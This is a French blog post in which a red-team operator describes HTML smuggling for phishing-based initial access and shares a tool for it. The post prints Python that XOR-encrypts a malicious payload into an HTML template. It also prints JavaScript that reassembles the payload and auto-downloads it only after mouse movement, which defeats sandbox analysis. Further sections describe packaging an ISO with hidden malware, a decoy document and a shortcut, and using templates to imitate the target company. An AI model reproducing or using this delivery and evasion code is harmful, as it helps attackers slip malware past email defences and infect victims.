Initial Access - File Smuggling

Ou comment obtenir un premier accès sur un réseau cible

Posté par Matthieu le 17 aout 2021

Introduction

Les connaissances divulguées dans cet article sont à but éducatif et SEULEMENT à but éducatif. L'auteur de cet article ne se tient pas responsable pour la mauvaise utilisation des techniques décrites dans ce blog

Lors d’un engagement type red team, ou de certains tests internes, l’opérateur aura besoin d’obtenir un accès initial sur sa cible.

Aujourd’hui , que ce soit lors d’un mission red team ou dans le cadre d’une cyber-attaque, le phishing est une des techniques de prédilection des attaquants.

Que ce soit dans le but d’obtenir des credentials afin d’accéder à un office365 ou d’y déposer un implant , cette technique est largement utilisée depuis des années. Évidement, les mécanismes de sécurité ont évolués et essayent de mener la vie dure aux attaquants et de faire la chasse aux payload transitants sur les boites mails.

Je vous propose aujourd’hui d’explorer une technique permettant de minimiser les chances de détection et de blocage dans le but final d’obtenir une première exécution de code dans le réseau cible.

HTML smuggling - Théorie

L'HTML Smuggling est une technique utilisée pour faire télécharger un fichier à une cible via un fichier HTML. Cette technique est utilisée actuellement par des attaquants sophistiqués afin d'outre passer les mesures de protection mises en place dans le réseau ciblé.

La plupart des solutions de sécurité cherchent des pattern ou des signatures dans les fichiers envoyés par mail. En cas de HTML Smuggling, le fichier malveillant est assemblé lors de l'ouverture du fichier HTML, il est donc très compliqué pour des sandboxs automatisées d'analyser le malware.

Lors d'une mission "red team" récente, il a été demandé par le client une simulation d'accès initial via phishing. Il a donc été intéressant de développer un outil permettant de générer des pages de smuggling.

Durant cette mission nous avons simulé une attaquante récente réalisé par NOBELIUM, je vous propose de suivre les étapes qui nous ont conduis à l'obtention d'un premier accès dans le réseau cible.

HTML Smuggling - Pratique

Nous devons donc répondre aux attentes suivantes :

  • Prendre un fichier en entrée
  • Le chiffrer
  • L'assembler via un script JavaScript
  • Le faire télécharger par la victime
  • Ajouter un mécanisme de contournement de "bac a sable" (sandbox) afin d'éviter toutes analyses du malware

Le python est donc une fois de plus le langage parfait pour développer .... roulement de tambour .... FuckThatSmuggler ! Le code complet de l'outil sera disponible à la fin de l'article.

Nous allons ici suivre la logique utilisée pour FuckThatPacker : se baser sur un fichier malveillant et un template. Nous allons donc obtenir un handle sur les fichiers ainsi :

          	def parseFile(file):
	try:
        	with open(file,"r") as f:
                	payload = f.read()
			return payload
	except IOError:
        	print("[-] Couldn't open  " + file)
        	os._exit(1)

parser = argparse.ArgumentParser()
parser.add_argument("-f","--file",help="path of the file",type=str,dest='file',required=True)
parser.add_argument("-t","--template",help="path of the template file",type=str,dest="template",required=True)

payload = parseFile(args.file)
template = parseFile(args.template)

Afin d'être plus serein sur les analyses statiques, nous pouvons faire un simple XOR sur le fichier malveillant.

	def encryptPayload(payload,key):
	temp = ''.join(chr(ord(a) ^ key) for a in payload)
	return base64.standard_b64encode(temp)

result = encryptPayload(payload,args.key)

Ce même fichier sera ensuite déchiffré via notre script javascript de la manière suivante :

	function DoStuffChloe(input,key) {
			var out = new Uint8Array(input)
			for(var i = 0;i< out.length;i++) {
				out[i] = out[i]^key
			}
			return out
	   }

var amouranthDecoded = base64ToArrayBuffer(amouranth)
var prettyAmouranth = DoStuffChloe(amouranthDecoded,%%KEY%%)

A cet instant, nous avons donc la variable "prettyAmouranth" qui contient notre payload déchiffré, il faut ensuite préparer le téléchargement du fichier en spécifiant le type MIME. Ce processus est automatisé par notre script python qui s'occupera de deviner le type MIME et le remplacer dans notre template.

	mime = MimeTypes()
mime_type = mime.guess_type(args.file)
template = template.replace("%%MIME%%",str(mime_type))
var blob = new Blob([prettyAmouranth], {type: '%%MIME%%'});

Le téléchargement est ensuite réalisé de la manière suivante via javaScript :

var a = document.createElement('a')
document.body.appendChild(a)
a.style = "display: none"
var url = window.URL.createObjectURL(blob)
a.href = url
a.download = "%%NAME%%"
a.click()

Afin de s'affranchir des analyses dynamiques, un petit module de détection de mouvement de souris a été ajouté :

	var done = false;
(function(){
	window.onmousemove = function(e){
      if (!done) {
					//OPERATION
			done = true
	 }
   }})()

Ce bout de code va permettre de déclencher le processus de déchiffrement uniquement si des mouvements de souris sont détectés. Ce comportement est peu courant lors des analyses sandbox.

Le script est donc assez simple.

Initial Access 101 - ISO Smuggling

Cette technique ne suffit pas, si nous faisons bêtement passer un malware au format exécutable un utilisateur sensibilisé ne cliquera certainement pas dessus, il est donc intéressant de coupler cette technique à d'autres petites astuces ingénieuses.

Lors de notre attaque, nous avons fait passer un fichier ISO en utilisant le fait que Windows 10 monte automatique ce type de fichier. Le fichier ISO contient trois fichiers :

  • Le malware au format exécutable
  • Un document Word utilisé comme leurre
  • Un raccourci Windows (lnk) pointant vers notre malware

Il est évidement que nous devons cacher le malware ainsi que le vrai fichier word afin que seul le raccourci soit visible. Il est possible de faire cela nativement sur Windows via la commande "attrib".

Afin de ne pas éveiller les soupçons, notre malware exécutable lancera le fichier word via une fonction :

Pour des raisons évidentes, je ne partagerai pas le code complet du malware.

Il nous suffit maintenant de convertir le dossier en fichier ISO et d'utiliser notre nouveau super outil : FuckThatSmuggler.

Démonstration

Le fichier HTML est généré, il ne nous reste plus qu'a héberger ce fichier sur un serveur web ou envoyer directement le fichier via mail à la cible.

Dès qu'un mouvement de souris est détecté, le téléchargement est lancé.

Il est intéressant de noter que l'outil est personnalisable de part les templates, il est donc aisé de créer des nouvelles pages afin de mimiquer une quelconque entreprise qui matcherai parfaitement avec la cible.

Tout le code de l'outil est disponible sur mon Github, ici.

Merci pour votre attention, Happy Hacking !

86 Coeur(s)